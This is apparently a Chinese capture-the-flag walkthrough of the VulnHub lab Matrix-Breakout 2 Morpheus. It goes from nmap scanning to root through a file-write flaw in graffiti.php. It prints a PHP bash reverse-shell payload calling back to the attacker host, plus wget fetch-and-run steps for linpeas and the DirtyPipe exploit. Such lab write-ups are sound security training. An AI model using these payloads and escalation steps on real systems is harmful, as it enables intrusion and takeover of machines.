vulnhub靶场Matrix-win全流程
Matrix-Breakout 2 Morpheus(win操作)
如果靶场出现发送数据包无响应的情况,请重启服务器
靶机下载地址:
https://download.vulnhub.com/matrix-breakout/c-2-morpheus.ova
攻击机:win11(192.168.5.1)
信息收集
本地虚拟机加载后,并不知道具体的IP地址,所以要进行主机探测(确定好C段)
主机发现(nmap)
nmap 192.168.5.1-255
发现主机192.168.5.134
对主机进行扫描,并生成attck.xml报告
nmap 192.168.5.134 -Pn -sS -p- -A -oX attack.xml
可以看到发现了22,80,81 的端口
对开放的端口进行简单的漏洞扫描
nmap 192.168.5.134 -p 22,80,81 --script=vuln
测试了一个CVE-2011-1002,没有什么用
还发现了一个robots.txt
访问主页,让后再看一下robts.txt。显示没有任何信息
目录扫描
使用扫描工具扫描到/graffiti.php
页面(扫描器趴窝没找到,根据官方提示找到的),这里可以使用dirseach\dirb\dirbuster,加强大的字典找到
漏洞探测
查看页面,在Message出输入内容可以显示在页面上,还可以测个xss()存储型
拿burp抓一下流量包,还是老样子全流量
发送到repeater的进行操作,发现file文件名可控,message内容可控。写个test.php试一试,内容
<?php phpinfo();?>
成功显示phpinfo页面。查看disdisable_functions
获取SHELL
下一步可以上传一句话木马,使用蚂蚁剑或者冰蝎连接。这里直反弹shell了
php文件内容
<?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.5.1/5555 0>&1'");?>
进行一次url(不然发过去数据会被截断)
%3C%3Fphp%20exec(%22%2Fbin%2Fbash%20-c%20'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.5.1%2F5555%200%3E%261'%22)%3B%3F%3E
填写到burp里,本地监听5555端口,然后点击发送。稍微等一会就会收到数据。(如果不小心断掉了,重新监听,然访问页面刷新,就会收到反弹)
shell反弹回来后,分别执行下面命令whoami
、id
、pwd
可以看到权限有点低,进行提权
权限提升
提权探测
脚本地址
https://github.com/carlospolop/PEASS-ng/releases/download/20230305/linpeas_linux_amd64
使用python开启一个临时web服务进行操作,让靶机下载。本地进行访问,可以访问到
在反弹shell处操作,拿到提权脚本,然后给linux权限并执行
wget http://192.168.5.1:8000/linuxchmod +x linux ./linux
稍等一会,就会出来可利用的提权脚本
可以看到可利用的CVE(因为个人环境原因会乱码,用kali进行操作就不会)
使用CVE-2022-0847(DirtyPipe)这个很出名的一个linux提权脚本,下载并进行利用(本次利用是在靶场环境编译的,理论上要在本地进行编译,然后上传exploit进行使用,实战当中目标可能没有环境无法编译)
github地址
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit使用方法Compile with ./compile.sh (assumes gcc is installed)Run ./exploit and it'll pop a root shell
将这个文件放到pthon的web服务下
反弹的shell窗口wget下载并给权限,然后利用
wget http://192.168.5.1:8000/exploit.c
wget http://192.168.5.1:8000/compile.sh
chmod +x exploit.c
chmod +x compile.sh
./compile.sh
./exploit
当执行完毕时,靶机的root密码被修改为aaron
,su root进入root用户,拿到最高权限
默认的shell并不好看 使用bash -i ,可以优化一下
获取FLAG
拿到flag,查找全部flag.txt文件
find -iname flag.txt
在根目录下拿到FLAG.txt
在cypher目录下拿到FLAG
在root目录下拿到FLAG
执行下列命令可以恢复原来的密码
mv /tmp/passwd.bak /etc/passwd
总结
本次重点使用了一个提权脚本CVE-2022-0847(DirtyPipe),可以看一下这个的原理,在实战当中,也是有很大概率存在。还有两个也是很常用的存在CVE-2022-2588(Linux Kernel 权限提升漏洞)、CVE-2021-4034(Linux Polkit 本地权限提升),在之前未更新补丁的linux的基本是通杀。
CVE-2022-0847
安全研究员 Max 提出一个 Linux 内核提权漏洞 CVE-2022-0847,攻击者可以利用该漏洞实现低权限用户提升至 root 权限,且能对主机任意可读文件进行读写。该漏洞在原理上与2016年10月18日由黑客 Phil Oester 提出的 “Dirty Cow”脏牛漏洞类似,由于本质上是由于 Kernel 内核中编写的匿名管道限制不严导致的问题,所以将其命名为 “DirtyPipe”,中文音译为:脏管漏洞(或 脏管道漏洞)
漏洞影响范围:
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102CentOS 8 默认内核版本受该漏洞影响
CentOS 7 及以下版本不受影响
CVE-2021-4034
Linux Polkit 权限提升,在 polkit 的 pkexec 中发现存在的本地权限提升漏洞(CVE-2021-4034)。Polkit(以前称为 PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权[程通信提供了一种有组织的方式。也可以使用 polkit 执行具有提升权限的命令,使用命令 pkexec 后跟要执行的命令(具有 root 权限)
漏洞影响范围:Debain stretch policykit-1 < 0.105-18+deb9u2Debain buster policykit-1 < 0.105-25+deb10u1Debain bookworm, bullseye policykit-1 < 0.105-31.1Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)CentOS 6 polkit < polkit-0.96-11.el6_10.2CentOS 7 polkit < polkit-0.112-26.el7_9.1CentOS 8.0 polkit < polkit-0.115-13.el8_5.1CentOS 8.2 polkit < polkit-0.115-11.el8_2.2CentOS 8.4 polkit < polkit-0.115-11.el8_4.2
CVE-2022-2588
Linux kernel是开源操作系统Linux所使用的内核。在Linux 内核的 net/sched/cls_route.c 实现的 route4_change 中发现了一个存在 use-after-free 缺陷漏洞,该漏洞源于释放后重用,本地攻击者利用该漏洞会导致系统崩溃,可能会造成本地特权升级问题。
(高版本也可能存在的问题)
漏洞影响范围:Linux:Kernel >= v2.6.12-rc2 >= v5.19
Ubuntu22.04下POC验证测试
https://www.cnblogs.com/cherishthepresent/p/16767382.html